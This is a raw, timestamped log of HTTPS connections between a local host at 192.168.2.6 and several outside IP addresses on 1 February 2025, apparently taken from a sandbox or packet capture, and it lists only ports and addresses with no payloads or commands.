Feb 1, 2025 21:59:27.118305922 CET	443	49995	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.131861925 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.131880999 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.131958008 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.132742882 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.132755041 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.144506931 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.144516945 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.144613028 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.144856930 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.144870996 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.195636988 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.195863962 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.195873022 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.197187901 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.197251081 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.199054003 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.199126959 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.211297035 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.211597919 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.211606979 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.215430021 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.215509892 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.216670990 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.216932058 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.271199942 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.273967981 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.273977995 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.275518894 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.275588989 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.278062105 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.278162956 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.278275013 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.278290033 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.292670012 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.293915033 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.294379950 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.294394970 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.295180082 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.295200109 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.295299053 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.295358896 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.296817064 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.296875000 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.300446987 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.300507069 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.300649881 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.300755024 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.303299904 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.303308964 CET	443	49982	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.303952932 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:27.306622028 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.309895039 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:27.309900999 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:27.310864925 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:27.310940981 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:27.311075926 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.311090946 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.311969995 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.312026978 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.314112902 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:27.314171076 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:27.315738916 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.315797091 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.316303015 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.316310883 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.388547897 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.388617039 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.388623953 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.388631105 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.388670921 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.388679028 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.388720036 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.388870001 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.388875008 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.388938904 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.392541885 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.392621994 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.423365116 CET	443	49983	23.219.82.72	192.168.2.6
Feb 1, 2025 21:59:27.423435926 CET	49983	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.425652027 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.425662041 CET	49982	443	192.168.2.6	23.219.82.72
Feb 1, 2025 21:59:27.425662041 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:27.425683975 CET	443	49987	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.425693989 CET	443	49993	23.219.82.18	192.168.2.6
Feb 1, 2025 21:59:27.428884983 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.428906918 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.428944111 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.428956032 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.429002047 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.432946920 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.432962894 CET	443	49986	204.79.197.219	192.168.2.6
Feb 1, 2025 21:59:27.433624983 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.433634996 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.433676958 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.433677912 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.433691025 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.433715105 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.433742046 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.433747053 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.474518061 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.474584103 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.474762917 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.474812031 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.474833012 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.474875927 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.474885941 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.475018024 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.475662947 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.475716114 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.475722075 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.475802898 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.476233006 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.476326942 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.476332903 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.476339102 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.476363897 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.476401091 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.477121115 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.477175951 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.521564007 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.521617889 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.521639109 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.521665096 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.521681070 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.522403002 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.522412062 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.522439957 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.522459030 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.522464037 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.522495031 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.523130894 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.523138046 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.523170948 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.523185015 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.523189068 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.523225069 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.524029970 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.524035931 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.524072886 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.524091959 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.524097919 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.524122000 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.561463118 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.561546087 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.561599970 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.561661005 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.561714888 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.561769009 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.561868906 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.562043905 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.562056065 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.562092066 CET	443	49984	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.562102079 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.562140942 CET	49984	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.569327116 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.569400072 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.569421053 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.569467068 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.605248928 CET	49987	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.605293036 CET	49993	443	192.168.2.6	23.219.82.18
Feb 1, 2025 21:59:27.614221096 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614357948 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614367008 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614422083 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.614434004 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614839077 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614846945 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614887953 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.614892960 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614902973 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614927053 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.614948034 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.614952087 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.614989042 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.615561962 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.615598917 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.615639925 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.615644932 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.615673065 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.616592884 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.616628885 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.616655111 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.616658926 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.616703033 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.617415905 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.617476940 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.617480993 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.617494106 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.617522955 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.617523909 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.617535114 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.617552042 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.617589951 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.617594004 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.617681980 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.617727995 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.620574951 CET	49985	443	192.168.2.6	204.79.197.203
Feb 1, 2025 21:59:27.620594978 CET	443	49985	204.79.197.203	192.168.2.6
Feb 1, 2025 21:59:27.636023045 CET	49986	443	192.168.2.6	204.79.197.219
Feb 1, 2025 21:59:27.680711031 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.680752039 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.680824041 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.683212042 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.683226109 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.721391916 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.723072052 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.723098993 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.723537922 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.724118948 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.724190950 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.724700928 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.767343998 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.793137074 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.793196917 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.802244902 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.802259922 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.803988934 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.803996086 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804040909 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804054976 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804066896 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804071903 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804105043 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804111004 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804194927 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804208040 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804224014 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804231882 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804302931 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804313898 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804336071 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804346085 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804374933 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804390907 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804953098 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.804963112 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.804991961 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805017948 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805042028 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805051088 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805074930 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805094004 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805128098 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805139065 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805166960 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805176020 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805191994 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805200100 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805253983 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805265903 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805288076 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805296898 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805311918 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805320978 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805337906 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805345058 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805360079 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805366039 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805411100 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805421114 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805444956 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805454016 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805476904 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805485010 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805506945 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805516005 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805531025 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805536032 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805562973 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805572987 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805622101 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805641890 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.805651903 CET	49997	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:27.805656910 CET	443	49997	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:27.866349936 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.866663933 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.866693020 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.867086887 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.867593050 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.867662907 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.867886066 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.867939949 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.867959023 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.887487888 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.887594938 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.887649059 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.893640995 CET	49996	443	192.168.2.6	20.110.205.119
Feb 1, 2025 21:59:27.893663883 CET	443	49996	20.110.205.119	192.168.2.6
Feb 1, 2025 21:59:27.945867062 CET	443	49995	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.946227074 CET	49995	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.946243048 CET	443	49995	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.946743011 CET	443	49995	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.947277069 CET	49995	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.947396994 CET	443	49995	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:27.947869062 CET	49995	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.947922945 CET	49995	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:27.947974920 CET	443	49995	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.074016094 CET	50006	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.074054003 CET	443	50006	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.074121952 CET	50006	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.074353933 CET	50006	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.074364901 CET	443	50006	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.165600061 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.165680885 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.165793896 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.166534901 CET	49994	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.166544914 CET	443	49994	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.180505991 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:28.180573940 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:28.180583954 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:28.180617094 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:28.180622101 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:28.180664062 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:28.183734894 CET	49965	443	192.168.2.6	116.202.5.153
Feb 1, 2025 21:59:28.183748007 CET	443	49965	116.202.5.153	192.168.2.6
Feb 1, 2025 21:59:28.494262934 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.494581938 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.494616985 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.496138096 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.496228933 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.496567011 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.496654034 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.496786118 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.496797085 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.496859074 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.496893883 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.634706020 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.740758896 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.740868092 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.740981102 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.741837025 CET	50005	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.741849899 CET	443	50005	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.844069004 CET	443	50006	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.844376087 CET	50006	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.844393015 CET	443	50006	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.844747066 CET	443	50006	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.845448971 CET	50006	443	192.168.2.6	20.189.173.8
Feb 1, 2025 21:59:28.845525026 CET	443	50006	20.189.173.8	192.168.2.6
Feb 1, 2025 21:59:28.845825911 CET	50006	443	192.168.2.6	20.189.173.8
